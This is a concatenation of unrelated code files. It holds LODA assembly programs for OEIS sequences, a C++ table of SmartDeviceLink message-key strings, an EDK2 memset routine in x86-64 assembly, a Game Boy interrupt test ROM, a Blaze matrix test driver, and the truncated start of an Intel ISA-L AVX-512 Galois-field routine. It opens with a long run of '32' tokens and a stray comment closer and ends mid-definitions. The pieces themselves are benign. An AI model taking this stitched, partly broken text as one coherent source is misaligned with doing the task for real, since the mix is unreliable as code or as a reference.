32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
; A014577: The regular paper-folding sequence (or dragon curve sequence).
; 1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1
mul $0,2
mov $1,1
mov $2,$0
lpb $2,1
mov $0,2
div $2,2
add $2,1
lpb $1,1
trn $1,$2
add $3,1
lpe
mov $1,$2
mod $1,$0
lpb $3,1
mov $2,1
mov $3,1
lpe
sub $2,1
lpe
|
#include <application_manager/smart_object_keys.h>
namespace application_manager {
namespace strings {
const char* params = "params";
const char* message_type = "message_type";
const char* correlation_id = "correlation_id";
const char* function_id = "function_id";
const char* protocol_version = "protocol_version";
const char* protocol_type = "protocol_type";
const char* connection_key = "connection_key";
const char* error = "error";
const char* error_msg = "message";
const char* default_app_id = "default";
const char* msg_params = "msg_params";
const char* method_name = "methodName";
const char* info = "info";
const char* app_id = "appID";
const char* full_app_id = "fullAppID";
const char* bundle_id = "appBundleID";
const char* app_info = "appInfo";
const char* app_launch = "app_launch";
const char* app_launch_list = "app_launch_list";
const char* app_launch_last_session = "app_launch_last_session";
const char* policy_app_id = "policyAppID";
const char* hmi_app_id = "hmiAppID";
const char* device_id = "deviceID";
const char* subscribed_for_way_points = "subscribed_for_way_points";
const char* url = "url";
const char* urlScheme = "urlScheme";
const char* packageName = "packageName";
const char* cmd_icon = "cmdIcon";
const char* result_code = "resultCode";
const char* success = "success";
const char* sync_msg_version = "syncMsgVersion";
const char* major_version = "majorVersion";
const char* minor_version = "minorVersion";
const char* patch_version = "patchVersion";
const char* app_name = "appName";
const char* ngn_media_screen_app_name = "ngnMediaScreenAppName";
const char* vr_synonyms = "vrSynonyms";
const char* uses_vehicle_data = "usesVehicleData";
const char* is_media_application = "isMediaApplication";
const char* greyOut = "greyOut";
const char* language_desired = "languageDesired";
const char* auto_activated_id = "autoActivateID";
const char* app_type = "appType";
const char* app_hmi_type = "appHMIType";
const char* tts_name = "ttsName";
const char* binary_data = "binary_data";
const char* timeout_prompt = "timeoutPrompt";
const char* timeout = "timeout";
const char* vr_help_title = "vrHelpTitle";
const char* vr_help = "vrHelp";
const char* main_field_1 = "mainField1";
const char* main_field_2 = "mainField2";
const char* main_field_3 = "mainField3";
const char* main_field_4 = "mainField4";
const char* metadata_tags = "metadataTags";
const char* eta = "eta";
const char* time_to_destination = "timeToDestination";
const char* total_distance = "totalDistance";
const char* alignment = "alignment";
const char* graphic = "graphic";
const char* secondary_graphic = "secondaryGraphic";
const char* status_bar = "statusBar";
const char* media_clock = "mediaClock";
const char* media_track = "mediaTrack";
const char* properties = "properties";
const char* cmd_id = "cmdID";
const char* menu_params = "menuParams";
const char* menu_title = "menuTitle";
const char* menu_icon = "menuIcon";
const char* keyboard_properties = "keyboardProperties";
const char* vr_commands = "vrCommands";
const char* position = "position";
const char* num_ticks = "numTicks";
const char* slider_footer = "sliderFooter";
const char* menu_id = "menuID";
const char* menu_name = "menuName";
const char* interaction_choice_set_id = "interactionChoiceSetID";
const char* interaction_choice_set_id_list = "interactionChoiceSetIDList";
const char* choice_set = "choiceSet";
const char* choice_id = "choiceID";
const char* grammar_id = "grammarID";
const char* navigation_text_1 = "navigationText1";
const char* navigation_text_2 = "navigationText2";
const char* alert_text1 = "alertText1";
const char* alert_text2 = "alertText2";
const char* alert_text3 = "alertText3";
const char* tts_chunks = "ttsChunks";
const char* initial_prompt = "initialPrompt";
const char* initial_text = "initialText";
const char* duration = "duration";
const char* progress_indicator = "progressIndicator";
const char* alert_type = "alertType";
const char* play_tone = "playTone";
const char* soft_buttons = "softButtons";
const char* soft_button_id = "softButtonID";
const char* custom_presets = "customPresets";
const char* audio_pass_display_text1 = "audioPassThruDisplayText1";
const char* audio_pass_display_text2 = "audioPassThruDisplayText2";
const char* max_duration = "maxDuration";
const char* sampling_rate = "samplingRate";
const char* bits_per_sample = "bitsPerSample";
const char* audio_type = "audioType";
const char* mute_audio = "muteAudio";
const char* button_name = "buttonName";
const char* button_event_mode = "buttonEventMode";
const char* button_press_mode = "buttonPressMode";
const char* custom_button_id = "customButtonID";
const char* data_type = "dataType";
const char* turn_list = "turnList";
const char* turn_icon = "turnIcon";
const char* next_turn_icon = "nextTurnIcon";
const char* value = "value";
const char* hmi_display_language = "hmiDisplayLanguage";
const char* language = "language";
const char* data = "data";
const char* start_time = "startTime";
const char* end_time = "endTime";
const char* hours = "hours";
const char* minutes = "minutes";
const char* seconds = "seconds";
const char* update_mode = "updateMode";
const char* audioStreamingIndicator = "audioStreamingIndicator";
const char* trigger_source = "triggerSource";
const char* hmi_level = "hmiLevel";
const char* activate_app_hmi_level = "level";
const char* audio_streaming_state = "audioStreamingState";
const char* video_streaming_state = "videoStreamingState";
const char* system_context = "systemContext";
const char* speech_capabilities = "speechCapabilities";
const char* vr_capabilities = "vrCapabilities";
const char* audio_pass_thru_capabilities = "audioPassThruCapabilities";
const char* pcm_stream_capabilities = "pcmStreamCapabilities";
const char* audio_pass_thru_icon = "audioPassThruIcon";
const char* way_points = "wayPoints";
const char* system_capability = "systemCapability";
const char* system_capability_type = "systemCapabilityType";
const char* system_capabilities = "systemCapabilities";
const char* navigation_capability = "navigationCapability";
const char* phone_capability = "phoneCapability";
const char* video_streaming_capability = "videoStreamingCapability";
const char* rc_capability = "remoteControlCapability";
const char* day_color_scheme = "dayColorScheme";
const char* night_color_scheme = "nightColorScheme";
const char* primary_color = "primaryColor";
const char* secondary_color = "secondaryColor";
const char* background_color = "backgroundColor";
const char* red = "red";
const char* green = "green";
const char* blue = "blue";
const char* display_layout = "displayLayout";
const char* icon_resumed = "iconResumed";
// PutFile
const char* sync_file_name = "syncFileName";
const char* file_name = "fileName";
const char* file_type = "fileType";
const char* file_size = "fileSize";
const char* crc32_check_sum = "crc";
const char* request_type = "requestType";
const char* request_subtype = "requestSubType";
const char* persistent_file = "persistentFile";
const char* file_data = "fileData";
const char* space_available = "spaceAvailable";
const char* image_type = "imageType";
const char* is_template = "isTemplate";
const char* image = "image";
const char* type = "type";
const char* system_file = "systemFile";
const char* offset = "offset";
const char* length = "length";
const char* secondary_image = "secondaryImage";
const char* filenames = "filenames";
const char* hmi_display_language_desired = "hmiDisplayLanguageDesired";
const char* ecu_name = "ecuName";
const char* dtc_mask = "dtcMask";
const char* did_location = "didLocation";
const char* app_list = "appList";
const char* device_list = "deviceList";
const char* device_info = "deviceInfo";
const char* secondary_device_info = "secondaryDeviceInfo";
const char* name = "name";
const char* id = "id";
const char* isSDLAllowed = "isSDLAllowed";
const char* transport_type = "transportType";
const char* application = "application";
const char* applications = "applications";
const char* icon = "icon";
const char* device_name = "deviceName";
const char* reason = "reason";
const char* available = "available";
const char* text = "text";
const char* character_set = "characterSet";
const char* secondary_text = "secondaryText";
const char* tertiary_text = "tertiaryText";
const char* hardware = "hardware";
const char* firmware_rev = "firmwareRev";
const char* os = "os";
const char* os_version = "osVersion";
const char* carrier = "carrier";
const char* slider_header = "sliderHeader";
const char* key_press_mode = "keypressMode";
// duplicate names from hmi_request
const char* limited_character_list = "limitedCharacterList";
const char* auto_complete_text = "autoCompleteText";
const char* navigation_text = "navigationText";
// vehicle info
const char* gps = "gps";
const char* speed = "speed";
const char* rpm = "rpm";
const char* fuel_level = "fuelLevel";
const char* fuel_level_state = "fuelLevel_State";
const char* instant_fuel_consumption = "instantFuelConsumption";
const char* fuel_range = "fuelRange";
const char* external_temp = "externalTemperature";
const char* turn_signal = "turnSignal";
const char* vin = "vin";
const char* prndl = "prndl";
const char* tire_pressure = "tirePressure";
const char* odometer = "odometer";
const char* belt_status = "beltStatus";
const char* electronic_park_brake_status = "electronicParkBrakeStatus";
const char* body_information = "bodyInformation";
const char* device_status = "deviceStatus";
const char* driver_braking = "driverBraking";
const char* wiper_status = "wiperStatus";
const char* head_lamp_status = "headLampStatus";
const char* engine_torque = "engineTorque";
const char* acc_pedal_pos = "accPedalPosition";
const char* steering_wheel_angle = "steeringWheelAngle";
const char* e_call_info = "eCallInfo";
const char* airbag_status = "airbagStatus";
const char* emergency_event = "emergencyEvent";
const char* cluster_mode_status = "clusterModeStatus";
const char* my_key = "myKey";
const char* help_prompt = "helpPrompt";
const char* scroll_message_body = "scrollableMessageBody";
const char* data_result = "dataResult";
const char* dtc_list = "dtcList";
const char* interaction_mode = "interactionMode";
const char* slider_position = "sliderPosition";
const char* system_action = "systemAction";
const char* prerecorded_speech = "prerecordedSpeech";
const char* supported_diag_modes = "supportedDiagModes";
const char* hmi_capabilities = "hmiCapabilities";
const char* navigation = "navigation";
const char* phone_call = "phoneCall";
const char* video_streaming = "videoStreaming";
const char* remote_control = "remoteControl";
const char* sdl_version = "sdlVersion";
const char* system_software_version = "systemSoftwareVersion";
const char* priority = "priority";
const char* engine_oil_life = "engineOilLife";
// resuming
const char* application_commands = "applicationCommands";
const char* application_submenus = "applicationSubMenus";
const char* application_choice_sets = "applicationChoiceSets";
const char* application_global_properties = "globalProperties";
const char* application_vehicle_info = "vehicleInfo";
const char* application_buttons = "buttons";
const char* application_subscriptions = "subscriptions";
const char* application_files = "applicationFiles";
const char* application_show = "applicationShow";
const char* resumption = "resumption";
const char* resume_app_list = "resume_app_list";
const char* last_ign_off_time = "last_ign_off_time";
const char* resume_vr_grammars = "resumeVrGrammars";
const char* ign_off_count = "ign_off_count";
const char* global_ign_on_counter = "global_ign_on_counter";
const char* suspend_count = "suspend_count";
const char* connection_info = "connection_info";
const char* is_download_complete = "is_download_complete";
const char* hash_id = "hashID";
const char* time_stamp = "timeStamp";
const char* manual_text_entry = "manualTextEntry";
const char* image_type_supported = "imageTypeSupported";
const char* unexpected_disconnect = "unexpectedDisconnect";
const char* longitude_degrees = "longitudeDegrees";
const char* latitude_degrees = "latitudeDegrees";
const char* address = "address";
const char* country_name = "countryName";
const char* country_code = "countryCode";
const char* postal_code = "postalCode";
const char* administrative_area = "administrativeArea";
const char* locality = "locality";
const char* sub_locality = "subLocality";
const char* thoroughfare = "thoroughfare";
const char* sub_thoroughfare = "subThoroughfare";
const char* location_name = "locationName";
const char* location_description = "locationDescription";
const char* address_lines = "addressLines";
const char* phone_number = "phoneNumber";
const char* number = "number";
const char* location_image = "locationImage";
const char* is_suscribed = "isSubscribed";
const char* message_data = "messageData";
const char* delivery_mode = "deliveryMode";
const char* audio_streaming_indicator = "audioStreamingIndicator";
const char* const keyboard_properties_supported = "keyboardPropertiesSupported";
const char* const language_supported = "languageSupported";
const char* const keyboard_layout_supported = "keyboardLayoutSupported";
const char* const keypress_mode_supported = "keypressModeSupported";
const char* const limited_characters_list_supported =
"limitedCharactersListSupported";
const char* const auto_complete_text_supported = "autoCompleteTextSupported";
const char* const entity_type = "entityType";
const char* const entity_id = "entityID";
const char* const status = "status";
const char* const external_consent_status = "externalConsentStatus";
const char* const consented_functions = "consentedFunctions";
const char* const source = "source";
const char* const config = "config";
const char* const protocol = "protocol";
const char* const codec = "codec";
const char* const width = "width";
const char* const height = "height";
const char* const rejected_params = "rejectedParams";
const char* const preferred_resolution = "preferredResolution";
const char* const resolution_width = "resolutionWidth";
const char* const resolution_height = "resolutionHeight";
const char* const max_bitrate = "maxBitrate";
const char* const supported_formats = "supportedFormats";
const char* const haptic_spatial_data_supported = "hapticSpatialDataSupported";
const char* const haptic_rect_data = "hapticRectData";
const char* const rect = "rect";
const char* const x = "x";
const char* const y = "y";
} // namespace strings
namespace json {
const char* appId = "appId";
const char* name = "name";
const char* ios = "ios";
const char* android = "android";
const char* appHmiType = "appHmiType";
const char* urlScheme = "urlScheme";
const char* packageName = "packageName";
const char* response = "response";
const char* is_media_application = "isMediaApplication";
const char* default_ = "default";
const char* languages = "languages";
const char* ttsName = "ttsName";
const char* vrSynonyms = "vrSynonyms";
} // namespace json
namespace http_request {
const char* httpRequest = "HTTPRequest";
const char* headers = "headers";
const char* content_type = "ContentType";
const char* connect_timeout = "ConnectTimout";
const char* do_output = "DoOutput";
const char* do_input = "DoInput";
const char* use_caches = "UseCaches";
const char* request_method = "RequestMethod";
const char* read_timeout = "ReadTimeout";
const char* instance_follow_redirect = "InstanceFollowRedirect";
const char* charset = "charset";
const char* content_lenght = "Content_Lenght";
const char* GET = "GET";
} // namespace http_request
namespace mobile_notification {
const char* state = "state";
const char* syncp_timeout = "Timeout";
const char* syncp_url = "URL";
} // namespace mobile_notification
namespace hmi_levels {
const char* kFull = "FULL";
const char* kLimited = "LIMITED";
const char* kBackground = "BACKGROUND";
const char* kNone = "NONE";
} // namespace hmi_levels
namespace time_keys {
const char* millisecond = "millisecond";
const char* second = "second";
const char* minute = "minute";
const char* hour = "hour";
const char* day = "day";
const char* month = "month";
const char* year = "year";
} // namespace time_keys
namespace hmi_request {
const char* parent_id = "parentID";
const char* field_name = "fieldName";
const char* field_text = "fieldText";
const char* field_types = "fieldTypes";
const char* alert_strings = "alertStrings";
const char* duration = "duration";
const char* soft_buttons = "softButtons";
const char* tts_chunks = "ttsChunks";
const char* speak_type = "speakType";
const char* audio_pass_display_texts = "audioPassThruDisplayTexts";
const char* max_duration = "maxDuration";
const char* reason = "reason";
const char* message_text = "messageText";
const char* initial_text = "initialText";
const char* navi_texts = "navigationTexts";
const char* navi_text = "navigationText";
const char* show_strings = "showStrings";
const char* interaction_layout = "interactionLayout";
const char* menu_title = "menuTitle";
const char* menu_icon = "menuIcon";
const char* keyboard_properties = "keyboardProperties";
const char* method_name = "methodName";
const char* keyboard_layout = "keyboardLayout";
const char* limited_character_list = "limitedCharacterList";
const char* auto_complete_text = "autoCompleteText";
const char* file = "file";
const char* file_name = "fileName";
const char* retry = "retry";
const char* service = "service";
} // namespace hmi_request
namespace hmi_response {
const char* code = "code";
const char* message = "message";
const char* method = "method";
const char* try_again_time = "tryAgainTime";
const char* custom_button_id = "customButtonID";
const char* button_name = "name";
const char* button_mode = "mode";
const char* attenuated_supported = "attenuatedSupported";
const char* languages = "languages";
const char* language = "language";
const char* display_capabilities = "displayCapabilities";
const char* hmi_zone_capabilities = "hmiZoneCapabilities";
const char* soft_button_capabilities = "softButtonCapabilities";
const char* image_supported = "imageSupported";
const char* button_capabilities = "buttonCapabilities";
const char* capabilities = "capabilities";
const char* speech_capabilities = "speechCapabilities";
const char* prerecorded_speech_capabilities = "prerecordedSpeechCapabilities";
const char* preset_bank_capabilities = "presetBankCapabilities";
const char* allowed = "allowed";
const char* vehicle_type = "vehicleType";
const char* did_result = "didResult";
const char* result_code = "resultCode";
const char* dtc = "dtc";
const char* ecu_header = "ecuHeader";
const char* image_capabilities = "imageCapabilities";
const char* display_type = "displayType";
const char* display_name = "displayName";
const char* text_fields = "textFields";
const char* media_clock_formats = "mediaClockFormats";
const char* graphic_supported = "graphicSupported";
const char* image_fields = "imageFields";
const char* templates_available = "templatesAvailable";
const char* screen_params = "screenParams";
const char* num_custom_presets_available = "numCustomPresetsAvailable";
const char* urls = "urls";
const char* policy_app_id = "policyAppID";
const char* enabled = "enabled";
const char* system_time = "systemTime";
} // namespace hmi_response
namespace hmi_notification {
const char* prndl = "prndl";
const char* file_name = "file_name";
const char* system_context = "systemContext";
const char* state = "state";
const char* result = "result";
const char* statistic_type = "statisticType";
const char* error = "error";
const char* policyfile = "policyfile";
const char* is_active = "isActive";
const char* is_deactivated = "isDeactivated";
const char* event_name = "eventName";
} // namespace hmi_notification
} // namespace application_manager
|
; A308196: Partial sums of A063808.
; 1,5,13,19,25,31,37,43,49,55,61,67,73,79,85,91,97,103,109,115,121,127,133,139,145,151,157,163,169,175,181,187,193,199,205,211,217,223,229,235,241,247,253,259,265,271,277,283,289,295,301,307,313,319,325,331,337,343,349,355
mov $1,1
cmp $1,$0
mul $0,3
sub $0,$1
mov $1,$0
mul $1,2
add $1,1
|
ADDI 1
STORE 1
LOAD 0
CHECK 0
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; SetMem.Asm
;
; Abstract:
;
; SetMem function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; VOID *
; EFIAPI
; InternalMemSetMem (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT8 Value
; )
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemSetMem)
ASM_PFX(InternalMemSetMem):
push rdi
mov rax, r8 ; rax = Value
mov rdi, rcx ; rdi = Buffer
xchg rcx, rdx ; rcx = Count, rdx = Buffer
rep stosb
mov rax, rdx ; rax = Buffer
pop rdi
ret
|
; A336650: a(n) = p^e, where p is the smallest odd prime factor of n, and e is its exponent, with a(n) = 1 when n is a power of two.
; 1,1,3,1,5,3,7,1,9,5,11,3,13,7,3,1,17,9,19,5,3,11,23,3,25,13,27,7,29,3,31,1,3,17,5,9,37,19,3,5,41,3,43,11,9,23,47,3,49,25,3,13,53,27,5,7,3,29,59,3,61,31,9,1,5,3,67,17,3,5,71,9,73,37,3,19,7,3,79,5,81,41,83,3,5,43,3,11,89,9,7,23,3,47,5,3,97,49,9,25
lpb $0
sub $0,1
mul $0,2
dif $0,4
lpe
seq $0,28233 ; If n = p_1^e_1 * ... * p_k^e_k, p_1 < ... < p_k primes, then a(n) = p_1^e_1, with a(1) = 1.
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld c, 41
ld b, 02
ld d, 03
lbegin_waitm2:
ldff a, (c)
and a, d
cmp a, b
jrnz lbegin_waitm2
ld a, 08
ldff(c), a
ld a, 02
ldff(ff), a
ei
ld c, 0f
.text@1000
lstatint:
xor a, a
ldff(41), a
ldff(c), a
.text@10d5
ld a, 08
ldff(41), a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
; A140827: Interleave denominators and numerators of convergents to sqrt(3).
; Submitted by Simon Strandgaard
; 1,1,2,3,4,7,11,15,26,41,56,97,153,209,362,571,780,1351,2131,2911,5042,7953,10864,18817,29681,40545,70226,110771,151316,262087,413403,564719,978122,1542841,2107560,3650401,5757961,7865521,13623482,21489003,29354524,50843527,80198051,109552575,189750626,299303201,408855776,708158977,1117014753,1525870529,2642885282,4168755811,5694626340,9863382151,15558008491,21252634831,36810643322,58063278153,79315912984,137379191137,216695104121,296011017105,512706121226,808717138331,1104728155436
add $0,1
mov $1,1
lpb $0
sub $0,3
add $1,$2
add $2,$1
add $1,$2
lpe
mul $0,$2
add $0,$1
|
//=================================================================================================
/*!
// \file src/mathtest/dmatdmatmin/M5x5bMDa.cpp
// \brief Source file for the M5x5bMDa dense matrix/dense matrix minimum math test
//
// Copyright (C) 2012-2019 Klaus Iglberger - All Rights Reserved
//
// This file is part of the Blaze library. You can redistribute it and/or modify it under
// the terms of the New (Revised) BSD License. Redistribution and use in source and binary
// forms, with or without modification, are permitted provided that the following conditions
// are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other materials
// provided with the distribution.
// 3. Neither the names of the Blaze development group nor the names of its contributors
// may be used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
// OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
// SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
// TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
// BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
*/
//=================================================================================================
//*************************************************************************************************
// Includes
//*************************************************************************************************
#include <cstdlib>
#include <iostream>
#include <blaze/math/DynamicMatrix.h>
#include <blaze/math/StaticMatrix.h>
#include <blazetest/mathtest/Creator.h>
#include <blazetest/mathtest/dmatdmatmin/OperationTest.h>
#include <blazetest/system/MathTest.h>
#ifdef BLAZE_USE_HPX_THREADS
# include <hpx/hpx_main.hpp>
#endif
//=================================================================================================
//
// MAIN FUNCTION
//
//=================================================================================================
//*************************************************************************************************
int main()
{
std::cout << " Running 'M5x5bMDa'..." << std::endl;
using blazetest::mathtest::TypeA;
using blazetest::mathtest::TypeB;
try
{
// Matrix type definitions
using M5x5b = blaze::StaticMatrix<TypeB,5UL,5UL>;
using MDa = blaze::DynamicMatrix<TypeA>;
// Creator type definitions
using CM5x5b = blazetest::Creator<M5x5b>;
using CMDa = blazetest::Creator<MDa>;
// Running the tests
RUN_DMATDMATMIN_OPERATION_TEST( CM5x5b(), CMDa( 5UL, 5UL ) );
}
catch( std::exception& ex ) {
std::cerr << "\n\n ERROR DETECTED during dense matrix/dense matrix minimum:\n"
<< ex.what() << "\n";
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
//*************************************************************************************************
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; gf_3vect_dot_prod_avx512(len, vec, *g_tbls, **buffs, **dests);
;;;
%include "reg_sizes.asm"
%ifdef HAVE_AS_KNOWS_AVX512
%ifidn __OUTPUT_FORMAT__, elf64
%define arg0 rdi
%define arg1 rsi
%define arg2 rdx
%define arg3 rcx
%define arg4 r8
%define arg5 r9
%define tmp r11
%define tmp.w r11d
%define tmp.b r11b
%define tmp2 r10
%define tmp3 r13 ; must be saved and restored
%define tmp4 r12 ; must be saved and restored
%define return rax
%define PS 8
%define LOG_PS 3
%define func(x) x:
%macro FUNC_SAVE 0
push r12
push r13
%endmacro
%macro FUNC_RESTORE 0
pop r13
pop r12
%endmacro
%endif
%ifidn __OUTPUT_FORMAT__, win64
%define arg0 rcx
%define arg1 rdx
%define arg2 r8
%define arg3 r9
%define arg4 r12 ; must be saved, loaded and restored
%define arg5 r15 ; must be saved and restored
%define tmp r11
%define tmp.w r11d
%define tmp.b r11b
%define tmp2 r10
%define tmp3 r13 ; must be saved and restored
%define tmp4 r14 ; must be saved and restored
%define return rax
%define PS 8
%define LOG_PS 3
%define stack_size 9*16 + 5*8 ; must be an odd multiple of 8
%define arg(x) [rsp + stack_size + PS + PS*x]
%define func(x) proc_frame x
%macro FUNC_SAVE 0
alloc_stack stack_size
vmovdqa [rsp + 0*16], xmm6
vmovdqa [rsp + 1*16], xmm7
vmovdqa [rsp + 2*16], xmm8
vmovdqa [rsp + 3*16], xmm9
vmovdqa [rsp + 4*16], xmm10
vmovdqa [rsp + 5*16], xmm11
vmovdqa [rsp + 6*16], xmm12
vmovdqa [rsp + 7*16], xmm13
vmovdqa [rsp + 8*16], xmm14
save_reg r12, 9*16 + 0*8
save_reg r13, 9*16 + 1*8
save_reg r14, 9*16 + 2*8
save_reg r15, 9*16 + 3*8
end_prolog
mov arg4, arg(4)
%endmacro
%macro FUNC_RESTORE 0
vmovdqa xmm6, [rsp + 0*16]
vmovdqa xmm7, [rsp + 1*16]
vmovdqa xmm8, [rsp + 2*16]
vmovdqa xmm9, [rsp + 3*16]
vmovdqa xmm10, [rsp + 4*16]
vmovdqa xmm11, [rsp + 5*16]
vmovdqa xmm12, [rsp + 6*16]
vmovdqa xmm13, [rsp + 7*16]
vmovdqa xmm14, [rsp + 8*16]
mov r12, [rsp + 9*16 + 0*8]
mov r13, [rsp + 9*16 + 1*8]
mov r14, [rsp + 9*16 + 2*8]
mov r15, [rsp + 9*16 + 3*8]
add rsp, stack_size
%endmacro
%endif
%define len arg0
%define vec arg1
%define mul_array arg2
%define src arg3
%define dest1 arg4
%define ptr arg5
%define vec_i tmp2
%define dest2 tmp3
